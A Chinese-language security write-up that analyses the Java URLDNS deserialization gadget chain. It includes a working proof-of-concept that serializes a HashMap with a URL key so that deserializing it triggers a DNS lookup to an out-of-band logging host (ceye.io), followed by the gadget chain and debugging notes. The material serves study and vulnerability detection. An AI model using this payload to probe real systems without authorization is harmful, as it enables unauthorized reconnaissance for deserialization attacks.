0x01 前言

URLDNS是Java反序列化中比较简单的一个链,由于URLDNS不依赖第三方包,同时不限制JDK版本,所以常用于检测反序列化漏洞是否存在。
理论上这个链应该最开始的时候分析,走弯路了。

0x02 相关知识

URL请求

一般java中发起URL请求最简单的demo如下,HttpUrlConnection类允许我们不用添加其他任何类库就能实现基本的Http请求,所有需要的类都包含在 java.net包内。HttpUrlConnection类的创建是通过URL 类的openConnection()方法。这个方法只是创建一个连接对象,并不建立连接。

  1. public static void main(String[] args) {
  2. try {
  3. URL url = new URL("https://www.baidu.com");
  4. URLConnection urlConnection = (HttpURLConnection)url.openConnection();
  5. BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
  6. String urlString = "";
  7. String current;
  8. while ((current = in.readLine()) != null) {
  9. urlString += current;
  10. }
  11. System.out.println(urlString);
  12. } catch (IOException e) {
  13. e.printStackTrace();
  14. }
  15. }

0x03 利用链分析

  1. import java.io.*;
  2. import java.lang.reflect.Field;
  3. import java.net.URL;
  4. import java.util.HashMap;
  5. public class UDns {
  6. public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
  7. URL url = new URL("http://xxxx.ceye.io");
  8. HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();
  9. Field field = url.getClass().getDeclaredField("hashCode");
  10. field.setAccessible(true);
  11. field.set(url,1);
  12. hashMap.put(url,1);
  13. field.set(url,-1);
  14. ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("out.bin"));
  15. out.writeObject(hashMap);
  16. ObjectInputStream in = new ObjectInputStream(new FileInputStream("out.bin"));
  17. in.readObject();
  18. }
  19. }

URLDNS链的source是HashMap#readObject,sink是URL#hashCode。
所以只需要构造一个key为URL类的HashMap对象再将其反序列化即可。
需要注意的细节是,只有在URL对象hashCode为-1时才会调用URLStreamHandler#hashCode方法触发dns查询。而在创建URL实例后其hashCode值为-1,在调用HashMap#put方法时会触发dns查询。ysoserial为了防止在生成Payload的时候也执行了URL请求和DNS查询,所以重写了一个 SilentURLStreamHandler 类,这不是必须的。我们可以先将hashCode设置为其它值,在put操作后再设置为-1就不会在生成payload的时候触发dns请求了。
image.png
利用链:

  1. Gadget Chain:
  2. HashMap.readObject()
  3. HashMap.putVal()
  4. HashMap.hash()
  5. URL.hashCode()
  6. URLStreamHandler.hashCode()

0x04 利用链调试

HashMap#readObject,入口类
image.png
HashMap#hash
image.png
URL#hashCode,需要hashCode为-1才会执行到handler.hashCode。
image.png
URLStreamHandler#hashCode
image.png
URLStreamHandler#getHostAddress
image.png
image.png
因为校园网的缘故,dns查询不显示,所以将class文件放到服务器上执行,执行成功。
image.png

0x05 总结

URLDNS链虽然比其它链简单,但是还是有些细节需要注意。